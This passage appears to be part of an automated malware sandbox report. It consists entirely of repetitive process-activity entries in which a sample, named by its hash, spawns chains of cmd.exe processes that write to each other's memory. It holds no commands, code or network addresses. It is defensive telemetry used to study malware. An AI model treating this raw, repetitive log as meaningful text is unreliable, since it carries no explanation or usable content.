cmd.exe 947 PID 1604 wrote to memory of 940 1604 cmd.exe 947 PID 1604 wrote to memory of 940 1604 cmd.exe 947 PID 1604 wrote to memory of 764 1604 cmd.exe 948 PID 1604 wrote to memory of 764 1604 cmd.exe 948 PID 1604 wrote to memory of 764 1604 cmd.exe 948 PID 1604 wrote to memory of 764 1604 cmd.exe 948 PID 764 wrote to memory of 792 764 cmd.exe 949 PID 764 wrote to memory of 792 764 cmd.exe 949 PID 764 wrote to memory of 792 764 cmd.exe 949 PID 764 wrote to memory of 792 764 cmd.exe 949 PID 1604 wrote to memory of 1940 1604 cmd.exe 950 PID 1604 wrote to memory of 1940 1604 cmd.exe 950 PID 1604 wrote to memory of 1940 1604 cmd.exe 950 PID 1604 wrote to memory of 1940 1604 cmd.exe 950 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 951 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 951 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 951 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 951 PID 1168 wrote to memory of 800 1168 cmd.exe 953 PID 1168 wrote to memory of 800 1168 cmd.exe 953 PID 1168 wrote to memory of 800 1168 cmd.exe 953 PID 1168 wrote to memory of 800 1168 cmd.exe 953 PID 1168 wrote to memory of 1884 1168 cmd.exe 954 PID 1168 wrote to memory of 1884 1168 cmd.exe 954 PID 1168 wrote to memory of 1884 1168 cmd.exe 954 PID 1168 wrote to memory of 1884 1168 cmd.exe 954 PID 1168 wrote to memory of 1012 1168 cmd.exe 955 PID 1168 wrote to memory of 1012 1168 cmd.exe 955 PID 1168 wrote to memory of 1012 1168 cmd.exe 955 PID 1168 wrote to memory of 1012 1168 cmd.exe 955 PID 1012 wrote to memory of 1364 1012 cmd.exe 956 PID 1012 wrote to memory of 1364 1012 cmd.exe 956 PID 1012 wrote to memory of 1364 1012 cmd.exe 956 PID 1012 wrote to memory of 1364 1012 cmd.exe 956 PID 1168 wrote to memory of 1548 1168 cmd.exe 957 PID 1168 wrote to memory of 1548 1168 cmd.exe 957 PID 1168 wrote to memory of 1548 1168 cmd.exe 957 PID 1168 wrote to memory of 1548 1168 cmd.exe 957 PID 1332 wrote to memory of 1248 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 958 PID 1332 wrote to memory of 1248 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 958 PID 1332 wrote to memory of 1248 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 958 PID 1332 wrote to memory of 1248 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 958 PID 1248 wrote to memory of 1056 1248 cmd.exe 960 PID 1248 wrote to memory of 1056 1248 cmd.exe 960 PID 1248 wrote to memory of 1056 1248 cmd.exe 960 PID 1248 wrote to memory of 1056 1248 cmd.exe 960 PID 1248 wrote to memory of 616 1248 cmd.exe 961 PID 1248 wrote to memory of 616 1248 cmd.exe 961 PID 1248 wrote to memory of 616 1248 cmd.exe 961 PID 1248 wrote to memory of 616 1248 cmd.exe 961 PID 1248 wrote to memory of 868 1248 cmd.exe 962 PID 1248 wrote to memory of 868 1248 cmd.exe 962 PID 1248 wrote to memory of 868 1248 cmd.exe 962 PID 1248 wrote to memory of 868 1248 cmd.exe 962 PID 868 wrote to memory of 1004 868 cmd.exe 963 PID 868 wrote to memory of 1004 868 cmd.exe 963 PID 868 wrote to memory of 1004 868 cmd.exe 963 PID 868 wrote to memory of 1004 868 cmd.exe 963 PID 1248 wrote to memory of 1956 1248 cmd.exe 964 PID 1248 wrote to memory of 1956 1248 cmd.exe 964 PID 1248 wrote to memory of 1956 1248 cmd.exe 964 PID 1248 wrote to memory of 1956 1248 cmd.exe 964 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 965 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 965 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 965 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 965 PID 1408 wrote to memory of 952 1408 cmd.exe 967 PID 1408 wrote to memory of 952 1408 cmd.exe 967 PID 1408 wrote to memory of 952 1408 cmd.exe 967 PID 1408 wrote to memory of 952 1408 cmd.exe 967 PID 1408 wrote to memory of 940 1408 cmd.exe 968 PID 1408 wrote to memory of 940 1408 cmd.exe 968 PID 1408 wrote to memory of 940 1408 cmd.exe 968 PID 1408 wrote to memory of 940 1408 cmd.exe 968 PID 1408 wrote to memory of 1328 1408 cmd.exe 969 PID 1408 wrote to memory of 1328 1408 cmd.exe 969 PID 1408 wrote to memory of 1328 1408 cmd.exe 969 PID 1408 wrote to memory of 1328 1408 cmd.exe 969 PID 1328 wrote to memory of 792 1328 cmd.exe 970 PID 1328 wrote to memory of 792 1328 cmd.exe 970 PID 1328 wrote to memory of 792 1328 cmd.exe 970 PID 1328 wrote to memory of 792 1328 cmd.exe 970 PID 1408 wrote to memory of 336 1408 cmd.exe 971 PID 1408 wrote to memory of 336 1408 cmd.exe 971 PID 1408 wrote to memory of 336 1408 cmd.exe 971 PID 1408 wrote to memory of 336 1408 cmd.exe 971 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 972 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 972 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 972 PID 1332 wrote to memory of 1184 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 972 PID 1184 wrote to memory of 1840 1184 cmd.exe 974 PID 1184 wrote to memory of 1840 1184 cmd.exe 974 PID 1184 wrote to memory of 1840 1184 cmd.exe 974 PID 1184 wrote to memory of 1840 1184 cmd.exe 974 PID 1184 wrote to memory of 1884 1184 cmd.exe 975 PID 1184 wrote to memory of 1884 1184 cmd.exe 975 PID 1184 wrote to memory of 1884 1184 cmd.exe 975 PID 1184 wrote to memory of 1884 1184 cmd.exe 975 PID 1184 wrote to memory of 1900 1184 cmd.exe 976 PID 1184 wrote to memory of 1900 1184 cmd.exe 976 PID 1184 wrote to memory of 1900 1184 cmd.exe 976 PID 1184 wrote to memory of 1900 1184 cmd.exe 976 PID 1900 wrote to memory of 1364 1900 cmd.exe 977 PID 1900 wrote to memory of 1364 1900 cmd.exe 977 PID 1900 wrote to memory of 1364 1900 cmd.exe 977 PID 1900 wrote to memory of 1364 1900 cmd.exe 977 PID 1184 wrote to memory of 1788 1184 cmd.exe 978 PID 1184 wrote to memory of 1788 1184 cmd.exe 978 PID 1184 wrote to memory of 1788 1184 cmd.exe 978 PID 1184 wrote to memory of 1788 1184 cmd.exe 978 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 979 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 979 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 979 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 979 PID 1168 wrote to memory of 1420 1168 cmd.exe 981 PID 1168 wrote to memory of 1420 1168 cmd.exe 981 PID 1168 wrote to memory of 1420 1168 cmd.exe 981 PID 1168 wrote to memory of 1420 1168 cmd.exe 981 PID 1168 wrote to memory of 616 1168 cmd.exe 982 PID 1168 wrote to memory of 616 1168 cmd.exe 982 PID 1168 wrote to memory of 616 1168 cmd.exe 982 PID 1168 wrote to memory of 616 1168 cmd.exe 982 PID 1168 wrote to memory of 236 1168 cmd.exe 983 PID 1168 wrote to memory of 236 1168 cmd.exe 983 PID 1168 wrote to memory of 236 1168 cmd.exe 983 PID 1168 wrote to memory of 236 1168 cmd.exe 983 PID 236 wrote to memory of 1004 236 cmd.exe 984 PID 236 wrote to memory of 1004 236 cmd.exe 984 PID 236 wrote to memory of 1004 236 cmd.exe 984 PID 236 wrote to memory of 1004 236 cmd.exe 984 PID 1168 wrote to memory of 1532 1168 cmd.exe 985 PID 1168 wrote to memory of 1532 1168 cmd.exe 985 PID 1168 wrote to memory of 1532 1168 cmd.exe 985 PID 1168 wrote to memory of 1532 1168 cmd.exe 985 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 986 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 986 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 986 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 986 PID 904 wrote to memory of 992 904 cmd.exe 988 PID 904 wrote to memory of 992 904 cmd.exe 988 PID 904 wrote to memory of 992 904 cmd.exe 988 PID 904 wrote to memory of 992 904 cmd.exe 988 PID 904 wrote to memory of 940 904 cmd.exe 989 PID 904 wrote to memory of 940 904 cmd.exe 989 PID 904 wrote to memory of 940 904 cmd.exe 989 PID 904 wrote to memory of 940 904 cmd.exe 989 PID 904 wrote to memory of 1108 904 cmd.exe 990 PID 904 wrote to memory of 1108 904 cmd.exe 990 PID 904 wrote to memory of 1108 904 cmd.exe 990 PID 904 wrote to memory of 1108 904 cmd.exe 990 PID 1108 wrote to memory of 792 1108 cmd.exe 991 PID 1108 wrote to memory of 792 1108 cmd.exe 991 PID 1108 wrote to memory of 792 1108 cmd.exe 991 PID 1108 wrote to memory of 792 1108 cmd.exe 991 PID 904 wrote to memory of 1604 904 cmd.exe 992 PID 904 wrote to memory of 1604 904 cmd.exe 992 PID 904 wrote to memory of 1604 904 cmd.exe 992 PID 904 wrote to memory of 1604 904 cmd.exe 992 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 993 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 993 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 993 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 993 PID 1408 wrote to memory of 800 1408 cmd.exe 995 PID 1408 wrote to memory of 800 1408 cmd.exe 995 PID 1408 wrote to memory of 800 1408 cmd.exe 995 PID 1408 wrote to memory of 800 1408 cmd.exe 995 PID 1408 wrote to memory of 300 1408 cmd.exe 996 PID 1408 wrote to memory of 300 1408 cmd.exe 996 PID 1408 wrote to memory of 300 1408 cmd.exe 996 PID 1408 wrote to memory of 300 1408 cmd.exe 996 PID 1408 wrote to memory of 1984 1408 cmd.exe 997 PID 1408 wrote to memory of 1984 1408 cmd.exe 997 PID 1408 wrote to memory of 1984 1408 cmd.exe 997 PID 1408 wrote to memory of 1984 1408 cmd.exe 997 PID 1984 wrote to memory of 2008 1984 cmd.exe 998 PID 1984 wrote to memory of 2008 1984 cmd.exe 998 PID 1984 wrote to memory of 2008 1984 cmd.exe 998 PID 1984 wrote to memory of 2008 1984 cmd.exe 998 PID 1408 wrote to memory of 1184 1408 cmd.exe 999 PID 1408 wrote to memory of 1184 1408 cmd.exe 999 PID 1408 wrote to memory of 1184 1408 cmd.exe 999 PID 1408 wrote to memory of 1184 1408 cmd.exe 999 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1000 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1000 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1000 PID 1332 wrote to memory of 1928 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1000 PID 1928 wrote to memory of 616 1928 cmd.exe 1002 PID 1928 wrote to memory of 616 1928 cmd.exe 1002 PID 1928 wrote to memory of 616 1928 cmd.exe 1002 PID 1928 wrote to memory of 616 1928 cmd.exe 1002 PID 1928 wrote to memory of 1896 1928 cmd.exe 1003 PID 1928 wrote to memory of 1896 1928 cmd.exe 1003 PID 1928 wrote to memory of 1896 1928 cmd.exe 1003 PID 1928 wrote to memory of 1896 1928 cmd.exe 1003 PID 1928 wrote to memory of 1040 1928 cmd.exe 1004 PID 1928 wrote to memory of 1040 1928 cmd.exe 1004 PID 1928 wrote to memory of 1040 1928 cmd.exe 1004 PID 1928 wrote to memory of 1040 1928 cmd.exe 1004 PID 1040 wrote to memory of 224 1040 cmd.exe 1005 PID 1040 wrote to memory of 224 1040 cmd.exe 1005 PID 1040 wrote to memory of 224 1040 cmd.exe 1005 PID 1040 wrote to memory of 224 1040 cmd.exe 1005 PID 1928 wrote to memory of 2016 1928 cmd.exe 1006 PID 1928 wrote to memory of 2016 1928 cmd.exe 1006 PID 1928 wrote to memory of 2016 1928 cmd.exe 1006 PID 1928 wrote to memory of 2016 1928 cmd.exe 1006 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1007 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1007 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1007 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1007 PID 2000 wrote to memory of 940 2000 cmd.exe 1009 PID 2000 wrote to memory of 940 2000 cmd.exe 1009 PID 2000 wrote to memory of 940 2000 cmd.exe 1009 PID 2000 wrote to memory of 940 2000 cmd.exe 1009 PID 2000 wrote to memory of 2028 2000 cmd.exe 1010 PID 2000 wrote to memory of 2028 2000 cmd.exe 1010 PID 2000 wrote to memory of 2028 2000 cmd.exe 1010 PID 2000 wrote to memory of 2028 2000 cmd.exe 1010 PID 2000 wrote to memory of 792 2000 cmd.exe 1011 PID 2000 wrote to memory of 792 2000 cmd.exe 1011 PID 2000 wrote to memory of 792 2000 cmd.exe 1011 PID 2000 wrote to memory of 792 2000 cmd.exe 1011 PID 792 wrote to memory of 1716 792 cmd.exe 1012 PID 792 wrote to memory of 1716 792 cmd.exe 1012 PID 792 wrote to memory of 1716 792 cmd.exe 1012 PID 792 wrote to memory of 1716 792 cmd.exe 1012 PID 2000 wrote to memory of 904 2000 cmd.exe 1013 PID 2000 wrote to memory of 904 2000 cmd.exe 1013 PID 2000 wrote to memory of 904 2000 cmd.exe 1013 PID 2000 wrote to memory of 904 2000 cmd.exe 1013 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1014 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1014 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1014 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1014 PID 1756 wrote to memory of 300 1756 cmd.exe 1016 PID 1756 wrote to memory of 300 1756 cmd.exe 1016 PID 1756 wrote to memory of 300 1756 cmd.exe 1016 PID 1756 wrote to memory of 300 1756 cmd.exe 1016 PID 1756 wrote to memory of 1196 1756 cmd.exe 1017 PID 1756 wrote to memory of 1196 1756 cmd.exe 1017 PID 1756 wrote to memory of 1196 1756 cmd.exe 1017 PID 1756 wrote to memory of 1196 1756 cmd.exe 1017 PID 1756 wrote to memory of 948 1756 cmd.exe 1018 PID 1756 wrote to memory of 948 1756 cmd.exe 1018 PID 1756 wrote to memory of 948 1756 cmd.exe 1018 PID 1756 wrote to memory of 948 1756 cmd.exe 1018 PID 948 wrote to memory of 2020 948 cmd.exe 1019 PID 948 wrote to memory of 2020 948 cmd.exe 1019 PID 948 wrote to memory of 2020 948 cmd.exe 1019 PID 948 wrote to memory of 2020 948 cmd.exe 1019 PID 1756 wrote to memory of 616 1756 cmd.exe 1021 PID 1756 wrote to memory of 616 1756 cmd.exe 1021 PID 1756 wrote to memory of 616 1756 cmd.exe 1021 PID 1756 wrote to memory of 616 1756 cmd.exe 1021 PID 1332 wrote to memory of 212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1022 PID 1332 wrote to memory of 212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1022 PID 1332 wrote to memory of 212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1022 PID 1332 wrote to memory of 212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1022 PID 212 wrote to memory of 2016 212 cmd.exe 1024 PID 212 wrote to memory of 2016 212 cmd.exe 1024 PID 212 wrote to memory of 2016 212 cmd.exe 1024 PID 212 wrote to memory of 2016 212 cmd.exe 1024 PID 212 wrote to memory of 1132 212 cmd.exe 1025 PID 212 wrote to memory of 1132 212 cmd.exe 1025 PID 212 wrote to memory of 1132 212 cmd.exe 1025 PID 212 wrote to memory of 1132 212 cmd.exe 1025 PID 212 wrote to memory of 1780 212 cmd.exe 1026 PID 212 wrote to memory of 1780 212 cmd.exe 1026 PID 212 wrote to memory of 1780 212 cmd.exe 1026 PID 212 wrote to memory of 1780 212 cmd.exe 1026 PID 1780 wrote to memory of 1328 1780 cmd.exe 1027 PID 1780 wrote to memory of 1328 1780 cmd.exe 1027 PID 1780 wrote to memory of 1328 1780 cmd.exe 1027 PID 1780 wrote to memory of 1328 1780 cmd.exe 1027 PID 212 wrote to memory of 2028 212 cmd.exe 1028 PID 212 wrote to memory of 2028 212 cmd.exe 1028 PID 212 wrote to memory of 2028 212 cmd.exe 1028 PID 212 wrote to memory of 2028 212 cmd.exe 1028 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1029 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1029 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1029 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1029 PID 1940 wrote to memory of 1308 1940 cmd.exe 1031 PID 1940 wrote to memory of 1308 1940 cmd.exe 1031 PID 1940 wrote to memory of 1308 1940 cmd.exe 1031 PID 1940 wrote to memory of 1308 1940 cmd.exe 1031 PID 1940 wrote to memory of 952 1940 cmd.exe 1032 PID 1940 wrote to memory of 952 1940 cmd.exe 1032 PID 1940 wrote to memory of 952 1940 cmd.exe 1032 PID 1940 wrote to memory of 952 1940 cmd.exe 1032 PID 1940 wrote to memory of 1884 1940 cmd.exe 1033 PID 1940 wrote to memory of 1884 1940 cmd.exe 1033 PID 1940 wrote to memory of 1884 1940 cmd.exe 1033 PID 1940 wrote to memory of 1884 1940 cmd.exe 1033 PID 1884 wrote to memory of 1548 1884 cmd.exe 1034 PID 1884 wrote to memory of 1548 1884 cmd.exe 1034 PID 1884 wrote to memory of 1548 1884 cmd.exe 1034 PID 1884 wrote to memory of 1548 1884 cmd.exe 1034 PID 1940 wrote to memory of 1196 1940 cmd.exe 1035 PID 1940 wrote to memory of 1196 1940 cmd.exe 1035 PID 1940 wrote to memory of 1196 1940 cmd.exe 1035 PID 1940 wrote to memory of 1196 1940 cmd.exe 1035 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1036 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1036 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1036 PID 1332 wrote to memory of 948 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1036 PID 948 wrote to memory of 616 948 cmd.exe 1038 PID 948 wrote to memory of 616 948 cmd.exe 1038 PID 948 wrote to memory of 616 948 cmd.exe 1038 PID 948 wrote to memory of 616 948 cmd.exe 1038 PID 948 wrote to memory of 1364 948 cmd.exe 1039 PID 948 wrote to memory of 1364 948 cmd.exe 1039 PID 948 wrote to memory of 1364 948 cmd.exe 1039 PID 948 wrote to memory of 1364 948 cmd.exe 1039 PID 948 wrote to memory of 236 948 cmd.exe 1040 PID 948 wrote to memory of 236 948 cmd.exe 1040 PID 948 wrote to memory of 236 948 cmd.exe 1040 PID 948 wrote to memory of 236 948 cmd.exe 1040 PID 236 wrote to memory of 228 236 cmd.exe 1041 PID 236 wrote to memory of 228 236 cmd.exe 1041 PID 236 wrote to memory of 228 236 cmd.exe 1041 PID 236 wrote to memory of 228 236 cmd.exe 1041 PID 948 wrote to memory of 1132 948 cmd.exe 1042 PID 948 wrote to memory of 1132 948 cmd.exe 1042 PID 948 wrote to memory of 1132 948 cmd.exe 1042 PID 948 wrote to memory of 1132 948 cmd.exe 1042 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1043 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1043 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1043 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1043 PID 2044 wrote to memory of 2028 2044 cmd.exe 1045 PID 2044 wrote to memory of 2028 2044 cmd.exe 1045 PID 2044 wrote to memory of 2028 2044 cmd.exe 1045 PID 2044 wrote to memory of 2028 2044 cmd.exe 1045 PID 2044 wrote to memory of 212 2044 cmd.exe 1046 PID 2044 wrote to memory of 212 2044 cmd.exe 1046 PID 2044 wrote to memory of 212 2044 cmd.exe 1046 PID 2044 wrote to memory of 212 2044 cmd.exe 1046 PID 1960 wrote to memory of 624 1960 cmd.exe 1047 PID 1960 wrote to memory of 624 1960 cmd.exe 1047 PID 1960 wrote to memory of 624 1960 cmd.exe 1047 PID 2044 wrote to memory of 904 2044 cmd.exe 1048 PID 2044 wrote to memory of 904 2044 cmd.exe 1048 PID 2044 wrote to memory of 904 2044 cmd.exe 1048 PID 2044 wrote to memory of 904 2044 cmd.exe 1048 PID 904 wrote to memory of 240 904 cmd.exe 1049 PID 904 wrote to memory of 240 904 cmd.exe 1049 PID 904 wrote to memory of 240 904 cmd.exe 1049 PID 904 wrote to memory of 240 904 cmd.exe 1049 PID 2044 wrote to memory of 1052 2044 cmd.exe 1050 PID 2044 wrote to memory of 1052 2044 cmd.exe 1050 PID 2044 wrote to memory of 1052 2044 cmd.exe 1050 PID 2044 wrote to memory of 1052 2044 cmd.exe 1050 PID 1332 wrote to memory of 1888 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1051 PID 1332 wrote to memory of 1888 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1051 PID 1332 wrote to memory of 1888 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1051 PID 1332 wrote to memory of 1888 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1051 PID 1888 wrote to memory of 1940 1888 cmd.exe 1053 PID 1888 wrote to memory of 1940 1888 cmd.exe 1053 PID 1888 wrote to memory of 1940 1888 cmd.exe 1053 PID 1888 wrote to memory of 1940 1888 cmd.exe 1053 PID 1888 wrote to memory of 232 1888 cmd.exe 1054 PID 1888 wrote to memory of 232 1888 cmd.exe 1054 PID 1888 wrote to memory of 232 1888 cmd.exe 1054 PID 1888 wrote to memory of 232 1888 cmd.exe 1054 PID 1960 wrote to memory of 1100 1960 cmd.exe 1055 PID 1960 wrote to memory of 1100 1960 cmd.exe 1055 PID 1960 wrote to memory of 1100 1960 cmd.exe 1055 PID 1888 wrote to memory of 1840 1888 cmd.exe 1056 PID 1888 wrote to memory of 1840 1888 cmd.exe 1056 PID 1888 wrote to memory of 1840 1888 cmd.exe 1056 PID 1888 wrote to memory of 1840 1888 cmd.exe 1056 PID 1840 wrote to memory of 1928 1840 cmd.exe 1057 PID 1840 wrote to memory of 1928 1840 cmd.exe 1057 PID 1840 wrote to memory of 1928 1840 cmd.exe 1057 PID 1840 wrote to memory of 1928 1840 cmd.exe 1057 PID 1960 wrote to memory of 228 1960 cmd.exe 1058 PID 1960 wrote to memory of 228 1960 cmd.exe 1058 PID 1960 wrote to memory of 228 1960 cmd.exe 1058 PID 1888 wrote to memory of 940 1888 cmd.exe 1059 PID 1888 wrote to memory of 940 1888 cmd.exe 1059 PID 1888 wrote to memory of 940 1888 cmd.exe 1059 PID 1888 wrote to memory of 940 1888 cmd.exe 1059 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1060 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1060 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1060 PID 1332 wrote to memory of 2020 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1060 PID 2020 wrote to memory of 696 2020 cmd.exe 1062 PID 2020 wrote to memory of 696 2020 cmd.exe 1062 PID 2020 wrote to memory of 696 2020 cmd.exe 1062 PID 2020 wrote to memory of 696 2020 cmd.exe 1062 PID 2020 wrote to memory of 1040 2020 cmd.exe 1063 PID 2020 wrote to memory of 1040 2020 cmd.exe 1063 PID 2020 wrote to memory of 1040 2020 cmd.exe 1063 PID 2020 wrote to memory of 1040 2020 cmd.exe 1063 PID 2020 wrote to memory of 732 2020 cmd.exe 1064 PID 2020 wrote to memory of 732 2020 cmd.exe 1064 PID 2020 wrote to memory of 732 2020 cmd.exe 1064 PID 2020 wrote to memory of 732 2020 cmd.exe 1064 PID 732 wrote to memory of 928 732 cmd.exe 1065 PID 732 wrote to memory of 928 732 cmd.exe 1065 PID 732 wrote to memory of 928 732 cmd.exe 1065 PID 732 wrote to memory of 928 732 cmd.exe 1065 PID 2020 wrote to memory of 764 2020 cmd.exe 1066 PID 2020 wrote to memory of 764 2020 cmd.exe 1066 PID 2020 wrote to memory of 764 2020 cmd.exe 1066 PID 2020 wrote to memory of 764 2020 cmd.exe 1066 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1067 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1067 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1067 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1067 PID 240 wrote to memory of 1052 240 cmd.exe 1069 PID 240 wrote to memory of 1052 240 cmd.exe 1069 PID 240 wrote to memory of 1052 240 cmd.exe 1069 PID 240 wrote to memory of 1052 240 cmd.exe 1069 PID 240 wrote to memory of 1604 240 cmd.exe 1070 PID 240 wrote to memory of 1604 240 cmd.exe 1070 PID 240 wrote to memory of 1604 240 cmd.exe 1070 PID 240 wrote to memory of 1604 240 cmd.exe 1070 PID 240 wrote to memory of 1196 240 cmd.exe 1071 PID 240 wrote to memory of 1196 240 cmd.exe 1071 PID 240 wrote to memory of 1196 240 cmd.exe 1071 PID 240 wrote to memory of 1196 240 cmd.exe 1071 PID 1196 wrote to memory of 552 1196 cmd.exe 1072 PID 1196 wrote to memory of 552 1196 cmd.exe 1072 PID 1196 wrote to memory of 552 1196 cmd.exe 1072 PID 1196 wrote to memory of 552 1196 cmd.exe 1072 PID 240 wrote to memory of 1700 240 cmd.exe 1073 PID 240 wrote to memory of 1700 240 cmd.exe 1073 PID 240 wrote to memory of 